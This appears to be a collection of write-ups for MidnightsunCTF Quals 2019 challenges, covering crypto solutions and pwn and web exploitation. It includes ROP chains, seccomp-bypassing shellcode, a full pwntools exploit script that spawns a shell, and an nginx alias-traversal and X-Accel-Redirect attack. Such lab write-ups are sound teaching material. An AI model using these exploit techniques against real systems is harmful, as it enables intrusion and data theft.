
MidnightsunCTF Quals 2019  tulpan257
The following sage script was given:
flag = "XXXXXXXXXXXXXXXXXXXXXXXXX" p = 257 k = len(flag) + 1 def prover(secret, beta=107, alpha=42): F = GF(p) FF.<x> = GF(p)[] r = FF.random_element(k  1) masked = (r * secret).mod(x^k + 1) y = [ masked(i) if randint(0, beta) >= alpha else masked(i) + F.random_element() for i in range(0, beta) ] return r.coeffs(), y sage: prover(flag) [141, 56, 14, 221, 102, 34, 216, 33, 204, 223, 194, 174, 179, 67, 226, 101, 79, 236, 214, 198, 129, 11, 52, 148, 180, 49] [138, 229, 245, 162, 184, 116, 195, 143, 68, 1, 94, 35, 73, 202, 113, 235, 46, 97, 100, 148, 191, 102, 60, 118, 230, 256, 9, 175, 203, 136, 232, 82, 242, 236, 37, 201, 37, 116, 149, 90, 240, 200, 100, 179, 154, 69, 243, 43, 186, 167, 94, 99, 158, 149, 218, 137, 87, 178, 187, 195, 59, 191, 194, 198, 247, 230, 110, 222, 117, 164, 218, 228, 242, 182, 165, 174, 149, 150, 120, 202, 94, 148, 206, 69, 12, 178, 239, 160, 7, 235, 153, 187, 251, 83, 213, 179, 242, 215, 83, 88, 1, 108, 32, 138, 180, 102, 34]
It doesn’t work quite as given 
prover()
must be given a polynomial, not a string. I figured that this polynomial was probably just using the flag string as coefficients, and just tried to recover that secret polynomial first (under the assumption that it was of degree $k$). Ther.coeffs()
output has length $26$, so this means that $k=26$.Now the hard part was recovering the polynomial
masked
 if I knew that, I could just multiply by the multiplicative inverse of $r$ in the ring $GF(p)[x]/(x^k+1)$ (which fortunately exists). The known outputy
is obtained by evaluatingmasked
at the positions $0,1,\ldots,106$  however, with random chance of $\frac{42}{107}$, a random output modulo $p$ is chosen instead. I also know thatmasked
is a polynomial of degree $k1$  so if I just knew $k$ correct points, I could simply construct the Lagrange Polynomial through these points.With the output containing errors I had two choices:
 Guessing: If I just guess 26 points that had the correct output, I could recover the original polynomial. A quick calculation shows that this has about chance $2\cdot 10^{6}$ of happening  and it is easy to detect, as some random polynomial through 26 of the points will match
y
in far less places than the correct one. Having now tried it after the CTF, it works very well.  Using someone elses work: My first instinct however was to search for a more elegant algorithm for the problem. In retrospect, just using brute force would probably have saved me some time  but this variant was at least quite educational.
I knew that problems of the type “given a set of discrete equations, find a solution that satisfies a high number of them” were quite typical for Coding theory, so I started looking at wellknown errorcorrecting codes. After a little reading, the ReedSolomon Code jumped out to me  Wikipedia gives the codewords of a ReedSolomon Code as $\{(p(a_1), p(a_2), \ldots, p(a_n))\mid p \text{ is a polynomial over } F \text{ of degree } k\}$. Setting $n=107, a_i=i1, k=26, F=GF(p)$, this is exactly the kind of output we are dealing with. So now I just needed to decode the codeword given to me in
y
to one that lies in that ReedSolomon Code. Fortunately, sage has builtin functions for everything:sage: p, k = 257, 26 sage: F = GF(p) sage: FF.<x> = F[] sage: from sage.coding.grs import * sage: C=GeneralizedReedSolomonCode([F(i) for i in range(107)],26) sage: D=GRSBerlekampWelchDecoder(C) sage: D.decode_to_message(vector(y,F)) DecodingError: Decoding failed because the number of errors exceeded the decoding radius sage: D.decoding_radius() 40
Whoops  it seems there are just a few errors too many in the output for the
BerlekampWelchDecoder
to handle. All the other decoders seemed to have the same problem… until I somehow managed to find the GuruswamiSudan decoder. It conveniently takes a parametertau
that specifies (within limits) the number of errors it will be able correct:sage: from sage.coding.guruswami_sudan.gs_decoder import * sage: D=GRSGuruswamiSudanDecoder(C,45) sage: masked=D.decode_to_message(vector(y,F))[0] sage: masked 136*x^25 + 181*x^24 + 158*x^23 + 233*x^22 + 215*x^21 + 95*x^20 + 235*x^19 + 76*x^18 + 133*x^17 + 199*x^16 + 105*x^15 + 46*x^14 + 53*x^13 + 123*x^12 + 150*x^11 + 28*x^10 + 87*x^9 + 122*x^8 + 59*x^7 + 177*x^6 + 174*x^5 + 200*x^4 + 143*x^3 + 77*x^2 + 65*x + 138
Finally it’s just a matter of multiplying by $r^{1}$:
sage: R = FF.quo(x^k+1) sage: flag = R(masked)*R(r)^(1) sage: "".join([chr(i) for i in flag]) # iterates over coefficients 'N0p3_th1s_15_n0T_R1ng_LpN\x00'
Lessons learned
 Coding theory has all kinds of useful stuff for “out of n relations, only k hold, but we don’t know which”type situations
 If a builtin function of sage isn’t quite good or general enough, there is probably a better one somewhere
 Don’t waste time on elegant solutions if you can just guess
 Guessing: If I just guess 26 points that had the correct output, I could recover the original polynomial. A quick calculation shows that this has about chance $2\cdot 10^{6}$ of happening  and it is easy to detect, as some random polynomial through 26 of the points will match

MidnightsunCTF Quals 2019  opengyckelcrypto
while True: p = next_prime(random.randint(0, 10**500)) if len(str(p)) != 500: continue q = Integer(int(str(p)[250:] + str(p)[:250])) if q.is_prime(): break >> p * q 6146024643941503757217715363256725297474582575057128830681803952150464985329239705861504172069973746764596350359462277397739134788481500502387716062571912861345331755396960400668616401300689786263797654804338789112750913548642482662809784602704174564885963722422299918304645125966515910080631257020529794610856299507980828520629245187681653190311198219403188372517508164871722474627810848320169613689716990022730088459821267951447201867517626158744944551445617408339432658443496118067189012595726036261168251749186085493288311314941584653172141498507582033165337666796171940245572657593635107816849481870784366174740265906662098222589242955869775789843661127411493630943226776741646463845546396213149027737171200372484413863565567390083316799725434855960709541328144058411807356607316377373917707720258565704707770352508576366053160404360862976120784192082599228536166245480722359263166146184992593735550019325337524138545418186493193366973466749752806880403086988489013389009843734224502284325825989 >> pow(m, 65537, p * q) 3572030904528013180691184031825875018560018830056027446538585108046374607199842488138228426133620939067295245642162497675548656988031367698701161407333098336631469820625758165691216722102954230039803062571915807926805842311530808555825502457067483266045370081698397234434007948071948000301674260889742505705689105049976374758307610890478956315615270346544731420764623411884522772647227485422185741972880247913540403503772495257290866993158120540920089734332219140638231258380844037266185237491107152677366121632644100162619601924591268704611229987050199163281293994502948372872259033482851597923104208041748275169138684724529347356731689014177146308752441720676090362823472528200449780703866597108548404590800249980122989260948630061847682889941399385098680402067366390334436739269305750501804725143228482932118740926602413362231953728010397307348540059759689560081517028515279382023371274623802620886821099991568528927696544505357451279263250695311793770159474896431625763008081110926072287874375257
If we write $p$ as:
$p = 10^{250}x+y$
with $0\leq x,y<10^{250}$, then $q$ is obtained by swapping $x$ and $y$:
$q = 10^250y+x$
This means that for $n=pq$ we have:
$n = pq = (10^{250}x+y)(10^{250}y+x) =$ $=10^{500}xy + 10^{250}x^2 + 10^{250}y^2 + xy = (10^{500}+1)xy+10^{250}(x^2+y^2)$
But now $n \equiv 0xy + 10^{250}(x^2+y^2) \mod 10^{500}+1$ or $x^2+y^2 \equiv \frac{n}{10^{250}} \mod 10^{500}+1\,.$ As $10^{250}$ and $10^{500}+1$ are coprime, this is welldefined.
In sage:
sage: R=Zmod(10^500+1) sage: s = Integer(R(n)*R(10^250)^1)
But on the other hand, as $x$ and $y$ are less than $10^{250}$, the sum of their squares must be less than $(10^{250})^2+(10^{250})^2=2\cdot 10^{500}$. As we already know the residue of $x^2+y^2$ mod $10^{500}+1$, this means that we only have two possibilities left: $s$ and $s+10^{500}+1$. It is possible to quite easily exclude the first one: $s$ is divisible by $3$ but not $9$, which would be in contradiction to Fermat’s theorem on sums of two squares. Of course, one can also just try both values.
This means that $x^2+y^2$ must be $s+10^{500}+1$. Using $n=(10^{500}+1)xy+10^{250}(x^2+y^2)$ we now have two equations for two variables. Those can be solved by substituting and solving the resulting biquadratic equation, or just using sage:
sage: x,y=var("x,y") sage: solve([n==(10^500+1)*x*y+10^250*(x^2+y^2),x^2+y^2==s+10^500+1],(x,y)) [[x == 6704087713997099865507815769768764401477034704508108261256143985284139367993820913412851771729239540206881848078387952673084087851136091482870695733338884807660355569782830813482768223955545908153884900037741101021721778447622913463893844919116113159, y == 9167577910876006891858257597237629440949705918335724259091862313200766026122707397405770653228405765712936180484223756343702067850288957263434298651591281476391443835610092615155677011406076889438184185284410734629391841138106293296764467469014716371], ...]
(symmetric and negative solutions omitted). Now it’s just a matter of recovering $p$ and $q$ and deciphering:
sage: p=10^250*x+y sage: q=10^250*y+x sage: p*q==n True sage: d=ZZ.quo((p1)*(q1))(65537)**1 sage: m=int(pow(c,d,n)) sage: binascii.a2b_hex(hex(m)[2:1]) 'midnight{w3ll_wh47_d0_y0u_kn0w_7h15_15_4c7u4lly_7h3_w0rld5_l0n6357_fl46_4nd_y0u_f0und_17_50_y0u_5h0uld_b3_pr0ud_0f_y0ur53lf_50_uhmm_60_pr1n7_7h15_0n_4_75h1r7_0r_50m37h1n6_4nd_4m4z3_7h3_p30pl3_4r0und_y0u}\x99\xd3\x84\x00\xdd\x98\xbf\xedv\xe8\xd3#\x01sR\x83\x9f\xce\x9fHg\xef\xfb\x07\x05\xc7\xd1R4*\xbc\x9e`\x9aW\x10\x0b5\xc0\xc0\xf9\xcc2dD\x00\xd5\x89\xfd2\xd2l\xe3N3\x8bU6}[\x92\xd5\xf5\x0fO\xde\xf1\xb0\xbe\xaf\xc5\xcfM\xadyo\xd9\xbf\xff\xeci\xd5$\xf99\xde\xad\xaaP{\xfc\xf7\x91 o2\x99M\x9cE\xfe@,\xc0\x8d\x88wU\xb0\x82X\xa2;r\xeaq\x8eV\x05t\x94\xb8\x8c\xba\x90\xf5\xa8\xf9\x17$\x94\xf4:\x11\x9e\xfc\x0b]\x97\xbbMv9\x865f*$\x93r\xf65j\xc0jk\xf0\xab\xd5\t\xb3\xda\x17\xb0~\x05}\xc4@(\xa8\r\x16\x01V\xcdm\x901\x17\x18\xf3\xfd\xd6L\xa7\x13\xaa\x9d\x1e_\xb4%g/Q+\xff\xc1\xbe\xf1fB#g\xa8\xda\xdd4'

MidnightsunCTF Quals 2019  hfsvm (287 pts, 42 solves) and hfsvm2 (660 pts, 14 solves)
hfsvm:
Write a program in my crappy VM language.
Service: nc hfsvm01.play.midnightsunctf.se 4096
Download: hfsvm.tar.gz
hfsvm2:
Escape the VM to get a flag.
Service: nc hfsvm01.play.midnightsunctf.se 4096
Download: hfsvm.tar.gz
Analysis
The provided service implements a VM for a custom architecture as well as a ‘kernel’ which the VM process uses to interact with the system.
userspace and kernel
The userspace and the kernel are implemented using two processes; the binary forks on startup and the parent becomes the kernel while the child executes the userspace. They communicate via both a socket pair and a shared memory region.
The kernel process initially resets its stack canary, to get a canary different from that in the userspace process.
The userspace process reads bytecode from the user and implements a simple VM to ‘execute’ the bytecode. Additionally, it enables the strict seccomp mode, which only allows the
read
,write
andexit
system calls.‘system calls’ between the userspace process and the kernel process are implemented using the socket pair and shared memory mentioned above. To enter a system call, the userspace process sends the system call number and arguments over the socket, and reads the return value from the socket. The kernel process on the other hand reads from the socket, then executes the system call, and writes the return value back to the socket. This way, one of the two processes is always blocked reading. Large arguments or return values are passed via the shared memory region: the first two bytes of the region contain the size of the data, followed by the raw data.
Custom VM
As already mentioned above, the userspace process implements a simple VM for a custom architecture. The virtual 16bit CPU has 16 registers, numbered 0 through 15, with register 14 and 15 doubling as the stack and instruction pointer. The stack has a fixed size of 32 words. Internally, the state of the VM is stored in the following struct on the stack of the userspace process:
struct state_t { int fd; int pad; void *shared_mem; uint16_t regs[14]; uint16_t reg_sp; uint16_t reg_pc; uint16_t stack[32]; };
The custom architecture executes bytecode with 4 byte long instructions encoding the instruction type and up to two operands. The following instructions are supported:

mov reg, imm
,add reg, imm
,sub reg, imm
,xor reg, imm
: move/add/subtract/xor the registerreg
with the 16bit immediate valueimm
and store the result inreg

mov reg, reg
,add reg, reg
,sub reg, reg
,xor reg, reg
: move/add/subtract/xor the first register with the second register and store the result in the second register 
xchg reg, reg
: swap the contents of the two registers 
push reg
,push imm
: push the register / immediate value onto the stack 
pop reg
: pop a value off the stack and store it inreg

setstack reg, imm
,setstack reg, reg
: use the value of the registerreg
as an (absolute) index into the stack; set the stack value at that index toreg
/imm

getstack reg, reg
: use the value of the first register as an (absolute) index into the stack; store the stack value at that index in the second register 
syscall
: trigger a system call; the first three registers are passed to the kernel as the syscall number and two arguments 
debug
: output the values of all registers and the stack
The
syscall
instruction additionally passes the VM’s stack to the kernel via the shared memory region. When looking at the implementation of these instructions, we notice thatpush
andpop
perform bounds checks on the stack, whilesetstack
andgetstack
don’t!The First Flag
At this point we can already obtain the first flag by issuing syscall 3, which copies the flag onto the VM’s stack, and then executing the
debug
instruction.Flag:
midnight{m3_h4bl0_vm}
Exploitation
Because of the strict seccomp mode used by the userspace process, we cannot spawn a shell from that process. We have to use the bug discovered above to gain control of the userspace process, afterwards use another bug in the kernel to escalate further and then spawn a shell.
ROP in the userspace
Using the missing bounds checks mentioned above, we can first leak both the stack canary (of the userspace process) and the base address of the binary (which will be the same in the userspace and kernel processes). After that, we overwrite the stack of the userspace process and execute a ROP chain. Because our previously sent bytecode has to write this chain, we are limited in size. Thus, the first ROP chain will just read some input (the second ROP chain) onto the data segment of the process and pivot the stack there.
# gadgets encoded as tuples # the first element is the gadget/address # the second element indicates if the address is relative to the binary's base # read(0, data + 0xa00, 0xe00) (pop_rdi, True), (0, False), (pop_rsi, True), (0x203000 + 0xa00, True), (pop_rdx, True), (0xe00, False), (binary.plt.read, True), # rsp = data + 0xa00 (pop_rsp, True), (0x203000 + 0xa00, True),
We have to write this first ROP chain using the bytecode executed in the VM, using the
getstack
andsetstack
instructions as explained above. Because we have no way to leak the base address of the binary before sending the bytecode, we have to use the bytecode to adjust the addresses of our gadgets.# generate the bytecode for a given ROP chain # abbreviations for opcode operands: r = register, s = stack, i = immediate bc = '' # set regs 1, 2, 3, 4 to ret addr (4 is not touched, because always zero) bc += mov_rs(1, 52) bc += mov_rs(2, 53) bc += mov_rs(3, 54) # adjust regs to base addr (subtract offset of return address) bc += sub_ri(1, 0xe6e) # debug to leak base addr bc += p32(0xa) idx = 52 for val, rel in rop: if rel: # set regs 5, 6, 7, 8 to val bc += mov_ri(5, val & 0xffff) bc += mov_ri(6, (val >> 16) & 0xffff) bc += mov_ri(7, (val >> 32) & 0xffff) bc += mov_ri(8, (val >> 48) & 0xffff) # add base addr bc += add_rr(5, 1) bc += add_rr(6, 2) bc += add_rr(7, 3) # write to stack bc += mov_sr(idx, 5) bc += mov_sr(idx + 1, 6) bc += mov_sr(idx + 2, 7) bc += mov_sr(idx + 3, 8) else: # write to stack bc += mov_si(idx, val & 0xffff) bc += mov_si(idx + 1, (val >> 16) & 0xffff) bc += mov_si(idx + 2, (val >> 32) & 0xffff) bc += mov_si(idx + 3, (val >> 48) & 0xffff) idx += 4
For exploiting the kernel, we will need access to the shared memory region, so we use the second ROP chain to leak its address and read a third ROP chain.
# second rop chain to leak shared_mem pointer rop = ROP(binary) rop.write(1, binary.address + off_shared_mem, 8) rop.read(0, binary.address + off_second_chain, 0x500) rop.raw(binary.address + pop_rsp) rop.raw(binary.address + off_second_chain)
ROP in the kernel
Now that we have all info we need and the ability to execute an arbitrarily long ROP chain, we can search for a bug in the kernel.
The first bug is obvious when looking at the syscall handler: the shared memory region (which also contains its own size and is fully controlled by userspace) is copied in a fixedsize buffer on the stack, leading to a simple stack buffer overflow. However, there is a stack canary preventing us from exploiting this bug alone.
The second bug is a synchronization issue: right before the kernel returns from a syscall, the stack buffer is copied back into the shared memory region, using the size specified in the shared memory region. That means, if we manage to increase the size while the kernel performs a syscall, we can leak data from the kernel stack! During normal operation one of the two processes always blocks while reading from the socket, but now that we control the userspace, we can trigger a syscall and continue execution in userspace without waiting for the syscall to finish.
At first this sounds like a hard race condition we have to win, until we look at syscall number 4 which, when supplied with a specific argument, sleeps for a total of 4 seconds. That’s more than enough time to increase the size of the shared memory region. The last issue we have is that, to get the correct timing, the userspace process needs to wait too, but
sleep
(actuallynanosleep
) is blocked by the seccomp filter. We can still let the userspace process wait by issuing a dummy read from stdin and waiting the correct amount in our exploit script.So here’s the plan for the third ROP chain: we trigger syscall number 4 and wait a second for the kernel to enter the syscall. Then we overwrite the size of the shared memory region and wait for the kernel to return from the syscall. Now the kernel’s stack canary is stored in the shared memory region, so we print the kernel’s canary to stdout. Our exploit script uses that canary and the info we acquired previously to craft a ROP chain for the kernel. The ROP chain in the userspace continues and reads the ROP chain for the kernel from stdin, into the shared memory region. Finally, it triggers any syscall. The kernel now copies the shared memory region onto its stack, smashing it in the process.
# third rop chain to trigger ROP in kernel rop = ROP(binary) rop_data = '' rop_data_addr = binary.address + off_second_chain + 0x200 def data_sys(num, arg1=0, arg2=0): return p8(num) + p16(arg1) + p16(arg2) # trigger sys_random(4) rop.write(parent_fd, rop_data_addr, 5) rop_data += data_sys(4, 4) # overwrite shared_mem size rop.read(0, shared_mem, 2) # dummy read, just for waiting a bit rop.read(0, shared_mem, 2) # leak parent stack canary rop.write(1, shared_mem + 74, 8) # read rop chain for parent to shared_mem rop.read(0, shared_mem, 0x1000) # trigger rop in parent, via sys_ls() rop.write(parent_fd, rop_data_addr + len(rop_data), 5) rop_data += data_sys(6) # exit rop.exit(0)
The ROP chain executed in the kernel is very simple: since the binary imports
system
, we can return to it, passingsh
as argument (which we can also place in the shared memory), and finally get a shell!rop = ROP(binary) # 'sh' is placed at shared_mem + 0x300 rop.system(shared_mem + 0x300)
Flag:
midnight{7h3re5_n0_I_iN_VM_bu7_iF_th3r3_w@s_1t_w0uld_b3_VIM}
You can find the full exploit script here.


MidnightsunCTF Quals 2019  gissa2 (631 pts, 15 solves)
Last year some dirty hackers found a way around my guessing challenge, well I patched the issue. Can you guess again?
Service: nc gissaigen01.play.midnightsunctf.se 4096
Download: gissa_igen.tar.gz
Analysis
The provided binary first
mmap
s the flag and then lets us try to guess it. After mapping the flag, the binary also installs a seccomp filter which forbids the system callsopen
,clone
,fork
,vfork
,execve
,creat
,openat
andexecveat
.The length of the buffer our input is read to is stored in the
main()
function as auint16_t
, but a pointer to this length is passed to theguess_flag()
function as auint32_t *
. Right after the buffer length the current number of tries is stored, so whenguess_flag()
accesses the buffer length, it actually uses both of these values. This has the effect that on our first guess, the buffer length has the correct value of 0x8b, but on the second guess, the buffer length has increased to 0x1008b, which leads to a stack buffer overflow.Exploit: ROP
No canary is used, so we can easily overwrite the return address. The only problem left before we can execute a ROP chain is that we don’t know the binary’s base address (it’s a PIE). But that’s easily solved: because the binary doesn’t terminate our input string, we can leak the original return address before sending our ROP chain. However, when we gain control of the execution flow, the flag has already been unmapped and its file descriptor closed. There’s no way for us to divert the execution flow before that point, so we have to find a way to bypass the seccomp filter.
ROP to Shellcode
To ease bypassing of the seccomp filter, let’s first set up a ROP chain to get shellcode execution. The ROP chain is pretty straightforward: map some RWX memory at a fixed address, read our next input into it, and jump there.
sc_addr = 0x1337000 rop = rop_call(binary + off_mmap, sc_addr, 0x10000, 7, 0x32, 1, 0) rop += rop_call(binary + off_read, 0, sc_addr, 0x10000) rop += p64(sc_addr)
Bypass seccomp Filter
Now that we can execute shellcode, the only thing left is somehow bypassing the seccomp filter in order to read the flag. Here’s the filter used:
line CODE JT JF K ================================= 0000: 0x20 0x00 0x00 0x00000004 A = arch 0001: 0x15 0x01 0x00 0xc000003e if (A == ARCH_X86_64) goto 0003 0002: 0x06 0x00 0x00 0x00000000 return KILL 0003: 0x20 0x00 0x00 0x00000000 A = sys_number 0004: 0x15 0x00 0x01 0x00000002 if (A != open) goto 0006 0005: 0x06 0x00 0x00 0x00000000 return KILL 0006: 0x15 0x00 0x01 0x00000038 if (A != clone) goto 0008 0007: 0x06 0x00 0x00 0x00000000 return KILL 0008: 0x15 0x00 0x01 0x00000039 if (A != fork) goto 0010 0009: 0x06 0x00 0x00 0x00000000 return KILL 0010: 0x15 0x00 0x01 0x0000003a if (A != vfork) goto 0012 0011: 0x06 0x00 0x00 0x00000000 return KILL 0012: 0x15 0x00 0x01 0x0000003b if (A != execve) goto 0014 0013: 0x06 0x00 0x00 0x00000000 return KILL 0014: 0x15 0x00 0x01 0x00000055 if (A != creat) goto 0016 0015: 0x06 0x00 0x00 0x00000000 return KILL 0016: 0x15 0x00 0x01 0x00000101 if (A != openat) goto 0018 0017: 0x06 0x00 0x00 0x00000000 return KILL 0018: 0x15 0x00 0x01 0x00000142 if (A != execveat) goto 0020 0019: 0x06 0x00 0x00 0x00000000 return KILL 0020: 0x06 0x00 0x00 0x7fff0000 return ALLOW
The filter checks the current architecture, so we cannot bypass it by switching to 32bit mode However, if we set bit 30 of the syscall number, we can access the ‘x32’ syscall ABI, which provides basically the same system calls and is not blocked by the seccomp filter. Thus, using syscall 0x40000002 instead of 2 for open lets us open and print the flag.
# open(0x1338000, 0, 0)  0x1338000 contains the path mov rax, 0x40000002 mov rdi, 0x1338000 mov rsi, 0 mov rdx, 0 syscall # read(flag, 0x1338000, 0x100) mov rdi, rax mov rax, 0 mov rsi, 0x1338000 mov rdx, 0x100 syscall # write(1, 0x1338000, 0x100) mov rax, 1 mov rdi, 1 mov rsi, 0x1338000 mov rdx, 0x100 syscall
Flag:
midnight{I_kN3w_1_5H0ulD_h4v3_jUst_uS3d_l1B5eCC0mP}
Exploit Code
from pwn import * context.binary = 'gissa_igen' shellcode = asm(''' mov rax, 0x40000002 mov rdi, 0x1338000 mov rsi, 0 mov rdx, 0 syscall mov rdi, rax mov rax, 0 mov rsi, 0x1338000 mov rdx, 0x100 syscall mov rax, 1 mov rdi, 1 mov rsi, 0x1338000 mov rdx, 0x100 syscall ''') g = remote('gissaigen01.play.midnightsunctf.se', 4096) # increase buf_len g.sendlineafter('flag (', '') g.recvuntil('try again') # overwrite buf_len with 168 g.sendlineafter('flag (', 'A' * 140 + p32(168) + p64(0) * 2) # leak binary addr g.sendafter('flag (', 'A' * 140 + '\xff\xff' + '\x01\x01' + 'B' * 8 + '\xff' * 8 + 'C' * 8) g.recvuntil('C' * 8) binary = u64(g.recvuntil(' is not right', drop=True).ljust(8, '\0'))  0xbc5 info("binary @ 0x%x", binary) # ROP to shellcode def rop_call(func, rdi=0, rsi=0, rdx=0, rcx=0, r8=0, r9=0): return flat(binary + 0xc1f, rcx, 0, 0, 0, binary + 0xc1d, rdx, r9, r8, rdi, rsi, func) sc_addr = 0x1337000 # mmap rop = rop_call(binary + 0xc0c, sc_addr, 0x10000, 7, 0x32, 1, 0) # read rop += rop_call(binary + 0xbd4, 0, sc_addr, 0x10000) rop += p64(sc_addr) g.sendlineafter('flag (', 'A' * 168 + rop) g.sendafter('not right.\n', shellcode.ljust(0x1000, '\0') + '/home/ctf/flag\0') g.interactive()

MidnightsunCTF Quals 2019  bigspin
bigspin was a challenge for the MidnightsunCTF Quals 2019
On visiting the linked website you get a message, asking if you are a
user
,admin
oruberadmin
, or just a usualpleb
(all links to identically named subdirectories).We are all usual plebs
Visiting anything but
pleb
fails. Vistingpleb
results in the content of example.com showing on your screen.With a bit of trial and error it becomes obvious that it’s a reverse proxy for example.com with a missing
/
after the domain name, making it possible to visit something like/pleb.localhost.localdomain/user
.nginx.cönf
Accessing the directory gives us a directory listing with a single file called
nginx.cönf
(including a space at the end of the filename).Just clicking on the file results in a 404, we have to double encode the filename because nginx decodes it first before it’s used in the reverse proxy url. Something like
/pleb.localhost.localdomain/user/nginx.c%25C3%25B6nf%2520
works and gives us a copy of the used nginx config:worker_processes 1; user nobody nobody; error_log /dev/stdout; pid /tmp/nginx.pid; events { worker_connections 1024; } http { # Set an array of temp and cache files options that otherwise defaults to # restricted locations accessible only to root. client_body_temp_path /tmp/client_body; fastcgi_temp_path /tmp/fastcgi_temp; proxy_temp_path /tmp/proxy_temp; scgi_temp_path /tmp/scgi_temp; uwsgi_temp_path /tmp/uwsgi_temp; resolver 8.8.8.8 ipv6=off; server { listen 80; location / { root /var/www/html/public; try_files $uri $uri/index.html $uri/ =404; } location /user { allow 127.0.0.1; deny all; autoindex on; root /var/www/html/; } location /admin { internal; autoindex on; alias /var/www/html/admin/; } location /uberadmin { allow 0.13.3.7; deny all; autoindex on; alias /var/www/html/uberadmin/; } location ~ /pleb([/azAZ09.:%]+) { proxy_pass http://example.com$1; } access_log /dev/stdout; error_log /dev/stdout; } }
I’m an admin!
We can see that
/admin
is aninternal
block, which can’t be accessed directly but since we have control over the reverse proxy URL we can use it to point to a server of our control and add a header likeXAccelRedirect: /admin/
, which instructs nginx to do an internal redirect and delivers us the content as if we’d have been able to access/admin/
directly.In the admin directory is a
flag.txt
, but it only tells us that the flag is only foruberadmins
.I lied, I’m really an uberadmin.
Since the location blocks are not terminated with a slash but the alias in the
/admin
block is terminated we can inject dots to access a higher directory.Setting the header on our server to
XAccelRedirect: /admin../uberadmin/flag.txt
results in the flag.Lesson learned: Terminate all paths and URLs with slashes.